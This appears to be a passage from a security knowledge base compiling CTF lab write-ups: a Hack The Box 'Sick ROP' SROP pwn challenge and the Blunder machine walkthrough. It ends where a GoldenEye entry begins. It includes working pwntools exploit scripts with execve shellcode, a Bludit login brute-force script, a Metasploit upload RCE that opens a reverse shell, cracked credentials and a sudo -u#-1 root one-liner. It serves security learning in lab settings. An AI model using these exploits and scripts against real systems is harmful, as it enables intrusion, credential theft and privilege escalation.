[INFO] File loaded.
(sick_rop/ELF/x86_64)> gadgets



Gadgets
=======


0x0000000000401009: add byte ptr [rax - 0x75], cl; je 0x1032; or byte ptr [rax - 0x75], cl; push rsp; and al, 0x10; syscall; 
0x0000000000401020: add byte ptr [rax - 0x75], cl; je 0x1049; or byte ptr [rax - 0x75], cl; push rsp; and al, 0x10; syscall; 
0x0000000000401008: add byte ptr [rax], al; mov rsi, qword ptr [rsp + 8]; mov rdx, qword ptr [rsp + 0x10]; syscall; 
0x0000000000401012: and al, 0x10; syscall; 
0x0000000000401012: and al, 0x10; syscall; ret; 
0x000000000040100d: and al, 8; mov rdx, qword ptr [rsp + 0x10]; syscall; 
0x000000000040100d: and al, 8; mov rdx, qword ptr [rsp + 0x10]; syscall; ret; 
0x0000000000401040: call 0x1000; push rax; push r10; call 0x1017; leave; ret; 
0x0000000000401048: call 0x1017; leave; ret; 
0x0000000000401044: call qword ptr [rax + 0x41]; 
0x0000000000401044: call qword ptr [rax + 0x41]; push rdx; call 0x1017; leave; ret; 
0x000000000040104c: dec ecx; ret; 
0x000000000040100c: je 0x1032; or byte ptr [rax - 0x75], cl; push rsp; and al, 0x10; syscall; 
0x000000000040100c: je 0x1032; or byte ptr [rax - 0x75], cl; push rsp; and al, 0x10; syscall; ret; 
0x0000000000401023: je 0x1049; or byte ptr [rax - 0x75], cl; push rsp; and al, 0x10; syscall; 
0x0000000000401023: je 0x1049; or byte ptr [rax - 0x75], cl; push rsp; and al, 0x10; syscall; ret; 
0x0000000000401041: mov ebx, 0x50ffffff; push r10; call 0x1017; leave; ret; 
0x0000000000401010: mov edx, dword ptr [rsp + 0x10]; syscall; 
0x0000000000401010: mov edx, dword ptr [rsp + 0x10]; syscall; ret; 
0x000000000040100b: mov esi, dword ptr [rsp + 8]; mov rdx, qword ptr [rsp + 0x10]; syscall; 
0x000000000040100b: mov esi, dword ptr [rsp + 8]; mov rdx, qword ptr [rsp + 0x10]; syscall; ret; 
0x000000000040100f: mov rdx, qword ptr [rsp + 0x10]; syscall; 
0x000000000040100f: mov rdx, qword ptr [rsp + 0x10]; syscall; ret; 
0x000000000040100a: mov rsi, qword ptr [rsp + 8]; mov rdx, qword ptr [rsp + 0x10]; syscall; 
0x000000000040100a: mov rsi, qword ptr [rsp + 8]; mov rdx, qword ptr [rsp + 0x10]; syscall; ret; 
0x000000000040100e: or byte ptr [rax - 0x75], cl; push rsp; and al, 0x10; syscall; 
0x000000000040100e: or byte ptr [rax - 0x75], cl; push rsp; and al, 0x10; syscall; ret; 
0x0000000000401046: push r10; call 0x1017; leave; ret; 
0x0000000000401045: push rax; push r10; call 0x1017; leave; ret; 
0x0000000000401047: push rdx; call 0x1017; leave; ret; 
0x0000000000401011: push rsp; and al, 0x10; syscall; 
0x0000000000401011: push rsp; and al, 0x10; syscall; ret; 
0x0000000000401049: retf 0xffff; dec ecx; ret; 
0x000000000040104d: leave; ret; 
0x0000000000401016: ret; 
0x0000000000401014: syscall; 
0x0000000000401014: syscall; ret; 

37 gadgets found
```

然后滚动这些gadgets，看看是否可以找到一个系统调用gadgets，因为需要一个gadgets来直接生成一个带有ROP链的shell。

``` bash
0x000000000040104d: leave; ret; 
0x0000000000401016: ret; 
0x0000000000401014: syscall; 
0x0000000000401014: syscall; ret; 
```

正如上图所示，能够找到一个系统调用gadget。现在，需要找到使用syscall gadget执行execve调用所需的gadget。64位的execve系统调用如下所示。

``` bash
 Name	  RAX	     RDI	   RSI	   RDX
execve	  0x3b	   filepath    argv	   envp
```

因此，需要gadget，将允许修改rax, rdi, rsi和rdx。有趣的是，没有找到足够的gadgets来在二进制文件中执行这些操作，因此必须找到另一个方法。因为能够使用vuln函数中的缓冲区溢出来执行ROP，所以如果能够以某种方式控制rax寄存器，就可以利用Sigreturn-Oriented 编程(SROP)。一个64位的rt_sigreturn系统调用要求rax设置为15 (0x0f)，并且一个sigcontext结构驻留在堆栈上。

有趣的是，vuln函数终止时的rax值是write函数的返回值，这是使用sys_write系统调用写入的缓冲区的长度。因此，如果输入一个长度为15的缓冲区，其中包含任意内容，程序将输出相同的缓冲区，并在使用ROP返回到系统调用指令之前将rax设置为0x0f。然后，需要做的就是在与ROPgadget相邻的堆栈上定义一个sigcontext，用于系统调用指令。

堆栈上的sigcontext结构如下所示。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/sickrop4.jpg)

从上图中可以看出，sigcontext结构大于0x0f字节，因此缓冲区的长度超过了在到达系统调用指令时控制rax的必要标准。如果回到vuln函数在堆栈的顶部,其次是的系统调用指令和sigcontext结构,可以迫使应用程序重复请求一个输入的过程,而这一次插入一个缓冲区长度15字节,因此保留堆栈从之前的溢出而控制伸出的价值。

因此，使用SROP，能够在调用新的系统调用指令之前控制所有寄存器。然而，不知道二进制文件中任何 '/bin/sh' 字符串的位置，也不知道堆栈的地址。因此，需要找到一种方法来定位或生成 '/bin/sh' 字符串。

如果可以找到一个具有读/写权限的位置，那么可以使用SROP gadget将rsp寄存器(也就是栈)指向一个可选择的地址。接下来，可以重用vuln中的缓冲区溢出，将 '/bin/sh' 写入堆栈上的已知位置，并再次调用SROP gadget。这一次，用execve系统调用的值填充寄存器，并返回到系统调用指令。

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/sickrop]
└─# strings sick_rop
rop.asm
read
write
vuln
__bss_start
_edata
_end
.symtab
.strtab
.shstrtab
.text
```

正如在上面所看到的 '.symtab' 字符串存在于二进制文件中，告诉这个二进制文件已经与一个符号表相链接。结合这个事实，vuln函数被命名，可以得出结论，一个符号表存在于二进制文件中。这是一个不会影响流程运行时行为的领域，因此这是在第一个SROP gadget中重新定位堆栈的理想目的地。

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/sickrop]
└─# grep -obUaP "\x2e\x10\x40\x00" ./sick_rop
4312:.@
┌──(root💀kali)-[~/hackthebox/challenge/pwn/sickrop]
└─# python -c 'print "%x" % 4312'
10d8
```

在符号表中找到指向vuln的指针的偏移量，如上所示。然而，符号表在默认情况下是不可写的，因此第一个SROP gadget必须调用mprotect系统调用，以便使符号表可写，并为第二个SROP gadget做好准备。

现在可以构建一个脚本来执行这些步骤。最终的脚本应该如下所示。

 - getshell.py

``` bash
from pwn import * 
context.arch = "amd64"
vuln_fn = 0x40102e      # vuln function
syscall = 0x401014      # gadget [syscall; ret;]
s = remote("178.128.175.172", 32672)
frame = SigreturnFrame(kernel="amd64")
frame.rax = 0x0a        # mprotect
frame.rdi = 0x401000    # base address
frame.rsi = 0x1000      # size
frame.rdx = 7           # permission (rwx)
frame.rsp = 0x4010d8    # symtab pointer to 'vuln'
frame.rip = syscall
buf = '\x90' * 0x28
buf += p64(vuln_fn)
buf += p64(syscall)
buf += str(frame)
s.send(buf)
s.recv(1024)
s.send('\x90' * 0xf)    # eax = 0x0f before syscall
s.recv(1024)
frame = SigreturnFrame(kernel="amd64")
frame.rax = 0x3b        # execve
frame.rdi = 0x4011e8    # filename ('/bin/sh')
frame.rsi = 0           # argv
frame.rdx = 0           # envp
frame.rsp = 0
frame.rip = syscall
buf = '\x90' * 0x28
buf += p64(vuln_fn)     # address: 0x4010e0
buf += p64(syscall)
buf += str(frame)
buf += '/bin/sh'        # address: 0x4011e8
buf += '\x00'
s.send(buf)
s.recv(1024)
s.send('\x90' * 0xf)    # eax = 0x0f before syscall
s.recv(1024)
s.interactive()
s.close()
```

 - 运行脚本成功拿到flag

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/sickrop]
└─# python getshell.py 
[+] Opening connection to 178.128.175.172 on port 32672: Done
[*] Switching to interactive mode
$ id
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ whoami
ctf
$ ls
flag.txt
run_challenge.sh
sick_rop
$ cat flag.txt
HTB{why_st0p_wh3n_y0u_cAn_s1GRoP!?}
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/sickrop5.jpg)

#### 详细过程及exp - 2
#### 1. Basic checks:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/sickrop]
└─# file sick_rop 
sick_rop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
┌──(root💀kali)-[~/hackthebox/challenge/pwn/sickrop]
└─# checksec sick_rop
[*] '/root/hackthebox/challenge/pwn/sickrop/sick_rop'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

#### 2. General overview:

The binary exploitation is straightforward, there is NX bit enabled and it is statically linked. Additionally, the name of the binary reveals what the problem will be to solve.

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/sickrop]
└─# objdump -S sick_rop -Mintel

sick_rop：     文件格式 elf64-x86-64


Disassembly of section .text:

0000000000401000 <read>:   (1)
  401000:       b8 00 00 00 00          mov    eax,0x0
  401005:       bf 00 00 00 00          mov    edi,0x0
  40100a:       48 8b 74 24 08          mov    rsi,QWORD PTR [rsp+0x8]
  40100f:       48 8b 54 24 10          mov    rdx,QWORD PTR [rsp+0x10]
  401014:       0f 05                   syscall 
  401016:       c3                      ret    

0000000000401017 <write>:   (2)
  401017:       b8 01 00 00 00          mov    eax,0x1
  40101c:       bf 01 00 00 00          mov    edi,0x1
  401021:       48 8b 74 24 08          mov    rsi,QWORD PTR [rsp+0x8]
  401026:       48 8b 54 24 10          mov    rdx,QWORD PTR [rsp+0x10]
  40102b:       0f 05                   syscall 
  40102d:       c3                      ret    

000000000040102e <vuln>:    (3)
  40102e:       55                      push   rbp
  40102f:       48 89 e5                mov    rbp,rsp
  401032:       48 83 ec 20             sub    rsp,0x20
  401036:       49 89 e2                mov    r10,rsp
  401039:       68 00 03 00 00          push   0x300
  40103e:       41 52                   push   r10
  401040:       e8 bb ff ff ff          call   401000 <read>
  401045:       50                      push   rax
  401046:       41 52                   push   r10
  401048:       e8 ca ff ff ff          call   401017 <write>
  40104d:       c9                      leave  
  40104e:       c3                      ret    

000000000040104f <_start>:   (4)
  40104f:       e8 da ff ff ff          call   40102e <vuln>
  401054:       eb f9                   jmp    40104f <_start>
```

There are only 4 functions available to the user.

(4) start() call the vuln() (3) infinitely.

The vuln() reads 0x300 bytes from STDIN and store it in the buffer, then prints the same buffer to STDOUT.

Buffer could be overflowed at offset 0x20.

Additionally, there are two other functions (1) read() and (2) wirte() .

#### 3. Spot the vulnerability — Buffer Overflow:

Send the 50B long de Bruijn sequence using cyclic() with attached GDB.

``` python
from pwn import *

p = process("./sick_rop")
elf = ELF("sick_rop")

gdb.attach(p, '''c
	''')

p.sendline(cyclic(50))
p.recv()

p.interactive()
```

The buffer overflow occurs after sending over 32B of data.

Bytes between 32~40 overflow the RBP register, then subsequent bytes are written to the RSP register, where the vuln() function returns.

So to control the execution flow, the user has to send 40B of random data first and then address to return.

Additionally, there is worth mentioning that the RAX register is filled with 51B which is equal to the length of entered string and "\n" char (4).

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/sickrop6.jpg)

``` bash
❯ cyclic -l kaaa
40
```

#### 4. Construct the ROP chain:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/sickrop]
└─# ROPgadget --binary sick_rop
Gadgets information
============================================================
0x0000000000401012 : and al, 0x10 ; syscall
0x000000000040100d : and al, 8 ; mov rdx, qword ptr [rsp + 0x10] ; syscall
0x0000000000401044 : call qword ptr [rax + 0x41]
0x000000000040104c : dec ecx ; ret
0x000000000040100c : je 0x401032 ; or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall
0x0000000000401023 : je 0x401049 ; or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall
0x0000000000401054 : jmp 0x40104f
0x000000000040104d : leave ; ret
0x0000000000401010 : mov edx, dword ptr [rsp + 0x10] ; syscall
0x000000000040100b : mov esi, dword ptr [rsp + 8] ; mov rdx, qword ptr [rsp + 0x10] ; syscall
0x000000000040100f : mov rdx, qword ptr [rsp + 0x10] ; syscall
0x000000000040100e : or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall
0x0000000000401011 : push rsp ; and al, 0x10 ; syscall
0x0000000000401016 : ret
0x0000000000401049 : retf 0xffff
0x0000000000401014 : syscall

Unique gadgets found: 16
```

In this scenario, I was unable to call the execve() function using the available ROP gadgets.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/sickrop7.jpg)

However, there is a technique called SROP which solves the problem.

***[SROP](https://hackmd.io/@imth/SROP) — Sigreturn Oriented Programming requires 2 Gadgets, the ability to write 300 B to the stack and the ability to control the Instruction Pointer. The required gadgets are a [sigreturn](https://man7.org/linux/man-pages/man2/sigreturn.2.html) and a syscall return gadget.
In older Linux Kernels these are often already available at a fixed address.***

 - To use this technique, two specific gadgets will be needed:

a [sigreturn](https://man7.org/linux/man-pages/man2/sigreturn.2.html) syscall gadget eax=0xf; syscall

a syscall return gadget syscall; ret

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/sickrop8.jpg)

In order to call sigreturn() , you have to utilize the fact that you can control the RAX register.

``` python
from pwn import *

p = process("./sick_rop")
elf = ELF("sick_rop")

gdb.attach(p, '''c
	''')

vuln_function = p64(0x40102e)
return_address = p64(0x42424242)

p.sendline(b"A" * 40 + vuln_function + return_address)
p.recv()
p.sendline(b"C" * 14) # RAX = 15
p.recv()
```

If you overflow the return address (RSP register) with vuln() (1) you can basically rewrite the length of the RAX register via read() used within.

After reading the bytes (2), vuln() will return to the given address (3).

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/sickrop9.jpg)

To call sigreturn() just replace return_address with syscall gadget.

#### 5. Craft a SigreturnFrame that calls mprotect()on amd64:

Use [mprotect()](https://failingsilently.wordpress.com/2017/12/17/rop-exploit-mprotect-and-shellcode/) to bypass NX bit, by setting the address space with r-w-x permissions, thus allowing custom shellcode execution.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/sickrop10.jpg)

You can use [pwntools](https://docs.pwntools.com/en/stable/rop/srop.html) to set register properly within the SigreturnFrame.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/sickrop11.jpg)

You can check the pointer to the vuln() function and the start address of the binary using GDB as below.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/sickrop12.jpg)

After running the script, enter some DDDDD for the read() and then check if mprotect() changed permissions and where the shellcode is being stored.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/sickrop13.jpg)

0x4010b8 is the pointer to the DDD... string (placeholder for the shellcode) and the permissions r-w-x were set correctly by mprotect() .

#### 6. Gain code execution:

Prepare the shellcode for x64 architecture.

 - [Linux/x64 - execve(/bin/sh) Shellcode (24 bytes)](https://www.exploit-db.com/exploits/42179)

``` bash
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05 #23B
```

Using buffer overflow again overflow the first 40B of data with shellcode, then NOP's, and a return address to the shellcode @40 offset.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/sickrop14.jpg)

Use exploit locally to check if it is working and then on the target machine.

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/sickrop]
└─# python local.py 
[+] Starting local process './sick_rop': pid 5909
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
```

#### 7. Final exploit:

``` python
from pwn import *

p = remote("188.166.173.208", 32005)

context.clear(arch="amd64")
# Calling sigreturn() with mprotect() ---
vuln_function  = p64(0x40102e)
syscall_gadget = p64(0x401014)

frame = SigreturnFrame(kernel="amd64")          # CREATING A SIGRETURN FRAME
frame.rax = 10                                  # MPROTECT SYSCALL
frame.rdi = 0x0000000000400000                  # BASE ADDRESS
frame.rsi = 0x4000                              # SIZE
frame.rdx = 7                                   # RWX PERMISSION
frame.rsp = 0x00000000004010d8                  # RET ADDRESS - pointer to vuln() 
frame.rip = 0x0000000000401014                  # SYSCALL ADDRESS

payload = "A"*40 + vuln_function + syscall_gadget + str(frame)
p.sendline(payload)
p.recv()
p.sendline("C" * 14) # RAX = 15
p.recv()

# Overflow again with the shellcode ---
shellcode = ("\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05") # 23B
p.send(shellcode + "\x90" * 17 + p64(0x4010b8))
p.recv()
p.interactive()
```

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/sickrop]
└─# python getshell1.py 
[+] Opening connection to 188.166.173.208 on port 32005: Done
[*] Switching to interactive mode
$ id
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ whoami
ctf
$ ls
flag.txt
run_challenge.sh
sick_rop
$ cat flag.txt
HTB{why_st0p_wh3n_y0u_cAn_s1GRoP!?}
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/sickrop15.jpg)

#### 摘自(致敬原作)......

 - 浏览medium.com博客每月有次数限制，并且5$收费，故摘录文章。。。
 - [PWN Sick ROP - HTB](https://karol-mazurek95.medium.com/pwn-sick-rop-htb-a0b7e1ce3829)
<!-- kb:end sick-rop -->

</details>




# CMS 管理功能与历史执行链

管理后台中的上传、模板、命令配置和凭据重置可能连接到系统执行。本章保留多个 CMS 的原环境和完整分支，对照后台身份、版本、可写路径与后续本地权限。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/cms-misc/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Blunder、GoldenEye 分别记录 Bludit 和 Moodle 的既有执行路线。

Horizontall 从 Strapi 接到内部 Laravel，网络可达性属于链的一部分。

Os-hackNos-3 与 pWnOS2 保留凭据失效、配置差异和失败尝试。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [CMS 上传路径与 sudo 身份解析](#case-blunder) | blunder | Bludit、文件上传、sudo |
| [邮件线索与 Moodle 命令执行](#case-goldeneye-1) | GoldenEye-1 | Moodle、邮件、OverlayFS |
| [Strapi 认证重置与内部 Laravel](#case-horizontall) | horizontall | Strapi、Laravel、CVE-2021-3129 |
| [后台上传与文件能力排查](#case-os-hacknos-3) | Os-hackNos-3 | osTicket、文件上传、Capabilities |
| [CMS 执行与多份数据库配置](#case-pwnos2-0-pre-release) | pWnOS2-0-Pre-Release | CMS、配置泄露、MySQL |

<a id="case-blunder"></a>

## CMS 上传路径与 sudo 身份解析

从页面词汇生成字典，到 Bludit 的上传路径穿越，再通过配置中的凭据切换用户。sudo 的负数用户标识分支与原版本条件一起保留。

<p class="kb-provenance">来源 blunder · 原记录 2020-06-05 · 16 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-blunder">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start blunder -->

#### introduce

OS: Linux
Difficulty: Easy
Points:	    20
Release:	30 May 2020
IP:	        10.10.10.191

User Blood:  00 days, 03 hours, 27 mins, 50 seconds.
Root Blood:  00 days, 03 hours, 31 mins, 10 seconds.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb38.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)

#### information gathering

first use nmap as usaul

``` bash
root@kali:~/hackthebox/blunder# nmap -sV -sC -Pn -T4 -v -p- --min-rate=10000 10.10.10.191
PORT   STATE  SERVICE VERSION
21/tcp closed ftp
80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: A0F0E5D852F0E3783AF700B6EE9D00DA
|_http-generator: Blunder
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts
```



then dirsearch

``` bash
root@kali:~/dirsearch# python3 dirsearch.py -u http://10.10.10.191 -e *

[19:41:36] 301 -    0B  - /admin  ->  http://10.10.10.191/admin/       
[19:41:41] 200 -    2KB - /admin/.config               
[19:41:41] 200 -    2KB - /admin/.htaccess
[19:41:41] 200 -    2KB - /admin/
[19:43:20] 301 -    0B  - /domcfg.nsf/?open  ->  http://10.10.10.191/domcfg.nsf
[19:44:01] 200 -   30B  - /install.php                                                      
[19:44:10] 200 -    1KB - /LICENSE                                                      
[19:45:07] 200 -    3KB - /README.md                                                           
[19:45:10] 200 -   22B  - /robots.txt                
[19:45:16] 403 -  277B  - /server-status/                                              
[19:45:17] 403 -  277B  - /server-status
```

wfuzz the url,to find the hidden txt file

``` bash
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt --hc 404,403 -u "http://10.10.10.191/FUZZ.txt" -t 100

===================================================================
ID           Response   Lines    Word     Chars       Payload                             
===================================================================

000003513:   200        1 L      4 W      22 Ch       "robots"                            
000004119:   200        4 L      23 W     118 Ch      "todo"
```

todo.txt

``` bash
-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING
```

#### getshell

use cewl to generate wordlist

``` bash
cewl -w wordlists.txt -d 10 -m 1 http://10.10.10.191/
```

write a python script to bruteforce the password

the origin source code can be found at the following link

 - [Bludit Brute Force Mitigation Bypass](https://rastating.github.io/bludit-brute-force-mitigation-bypass/)

brute.py

``` bash
import re
import requests
#from __future__ import print_function

def open_ressources(file_path):
    return [item.replace("\n", "") for item in open(file_path).readlines()]

host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'
wordlist = open_ressources('/root/hackthebox/blunder/wordlists.txt')

for password in wordlist:
    session = requests.Session()
    login_page = session.get(login_url)
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

    print('[*] Trying: {p}'.format(p = password))

    headers = {
        'X-Forwarded-For': password,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
        'Referer': login_url
    }

    data = {
        'tokenCSRF': csrf_token,
        'username': username,
        'password': password,
        'save': ''
    }

    login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)

    if 'location' in login_result.headers:
        if '/admin/dashboard' in login_result.headers['location']:
            print()
            print('SUCCESS: Password found!')
            print('Use {u}:{p} to login.'.format(u = username, p = password))
            print()
            break
```

got the result

``` bash
SUCCESS: Password found!
Use fergus:RolandDeschain to login.
```

now we can access the backend system

it use open source Bludit CMS, let's google the exploit

right click and see the source code, found the version number 3.9.2

reference to 
 - [CVE-2019-16113](https://vulmon.com/vulnerabilitydetails?qid=CVE-2019-16113)
 - [Bludit - Directory Traversal Image File Upload - Metasploit](https://www.exploit-db.com/exploits/47699)

we use msf to get a shell

``` bash
msf5 > use exploit/linux/http/bludit_upload_images_exec
msf5 exploit(linux/http/bludit_upload_images_exec) > set TARGET 0
msf5 exploit(linux/http/bludit_upload_images_exec) > set RHOST 10.10.10.191
msf5 exploit(linux/http/bludit_upload_images_exec) > set RPORT 80
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITUSER fergus
BLUDITUSER => fergus
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITPASS RolandDeschain
BLUDITPASS => RolandDeschain
msf5 exploit(linux/http/bludit_upload_images_exec) > exploit

[*] Started reverse TCP handler on 10.10.14.44:4444 
[+] Logged in as: fergus
[*] Retrieving UUID...
[*] Uploading BbzGoAzRBI.png...
[*] Uploading .htaccess...
[*] Executing BbzGoAzRBI.png...
[*] Sending stage (38288 bytes) to 10.10.10.191
[*] Meterpreter session 1 opened (10.10.14.44:4444 -> 10.10.10.191:59508) at 2020-06-04 20:52:15 -0400
[+] Deleted .htaccess

meterpreter > sysinfo
Computer    : blunder
OS          : Linux blunder 5.3.0-53-generic #47-Ubuntu SMP Thu May 7 12:18:16 UTC 2020 x86_64
Meterpreter : php/linux
```

or use the following python script to spawn a reverse shell

 - [CVE-2019-16113 - bludit >= 3.9.2 RCE authenticate](https://github.com/cybervaca/CVE-2019-16113)

#### Getting User Access

``` bash
meterpreter > shell
Process 2864 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c "import pty;pty.spawn('/bin/bash')"
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$
```

found user and password

``` bash
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php
cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Hugo",
        "firstName": "Hugo",
        "lastName": "",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""}
}
```

``` bash
root@kali:~/hackthebox/blunder# hashid faca404fd5c0a31cf1897b823c695c85cffeb98d
Analyzing 'faca404fd5c0a31cf1897b823c695c85cffeb98d'
[+] SHA-1 
[+] Double SHA-1 
[+] RIPEMD-160 
[+] Haval-160 
[+] Tiger-160 
[+] HAS-160 
[+] LinkedIn 
[+] Skein-256(160) 
[+] Skein-512(160)
```

i use hashcat and rockyou.txt to crack the sha1 hash,but didn't find the password

then goto

 - [cmd5 online decrypt](https://cmd5.com/)

then wen got

``` bash
faca404fd5c0a31cf1897b823c695c85cffeb98d	sha1	Password120
```

Hugo:Password120

we got user.txt

``` bash
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ su hugo
su hugo
Password: Password120

hugo@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cd ~
cd ~
hugo@blunder:~$ ls
ls
Desktop    Downloads  Pictures  Templates  Videos
Documents  Music      Public    user.txt
hugo@blunder:~$ cat user.txt
cat user.txt
a77cd322569743cec1697115a32ea48c
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb39.jpg)

#### privilege escalation

``` bash
hugo@blunder:~$ sudo -l
sudo -l
Password: Password120

Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash
hugo@blunder:~$ bash -version
bash -version
GNU bash, version 5.0.3(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
```

then we google

``` bash
(ALL, !root) /bin/bash
```

found the follow link

 - [Sudo Security Bypass](https://n0w4n.nl/sudo-security-bypass/)
 - [sudo 1.8.27 - Security Bypass](https://www.exploit-db.com/exploits/47502)

then we use one-liner command to get root!!!

``` bash
hugo@blunder:~$ sudo -u#-1 /bin/bash    
sudo -u#-1 /bin/bash
Password: Password120

root@blunder:/home/hugo# id
id
uid=0(root) gid=1001(hugo) groups=1001(hugo)
root@blunder:/home/hugo# whoami
whoami
root
root@blunder:/home/hugo# cd ~
cd ~
root@blunder:/# ls
ls
bin    dev  home   lib64       media  proc  sbin  sys  var
boot   etc  lib    libx32      mnt    root  snap  tmp
cdrom  ftp  lib32  lost+found  opt    run   srv   usr
root@blunder:/# cd /root
cd /root
root@blunder:/root# ls
ls
root.txt
root@blunder:/root# cat root.txt
cat root.txt
46eae9e761548c57b1b1647aeaf3e12f
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb40.jpg)

just a simplest machine in htb...

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb41.jpg)

#### Summary of knowledge

 - web fuzz
 - cewl generate wordlist
 - write python script to bruteforce Bludit CMS's password
 - cve-2019-16113,Bludit - Directory Traversal Image File Upload
 - passwords disclosure
 - use "sudo -u#-1 /bin/bash" one-liner to privesc - sudo security bypass

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end blunder -->

</details>

<a id="case-goldeneye-1"></a>

## 邮件线索与 Moodle 命令执行

邮件、图像信息与 Moodle 管理权限组成前半链；本地 OverlayFS 分支保留目标缺少 gcc 时的编译器调整。

<p class="kb-provenance">来源 GoldenEye-1 · 原记录 2020-01-08 · 16 个代码块 · 19 处图片引用</p>

<details class="kb-evidence" id="record-goldeneye-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start GoldenEye-1 -->

#### 发布日期
名称：GoldenEye: 1
发布日期：2018年5月4日

#### 下载
 - Download: https://drive.google.com/open?id=1M7mMdSMHHpiFKW3JLqq8boNrI95Nv4tq
 - Download (Mirror): https://download.vulnhub.com/goldeneye/GoldenEye-v1.ova
 - Download (Torrent): https://download.vulnhub.com/goldeneye/GoldenEye-v1.ova.torrent 

#### 描述

级别：中级

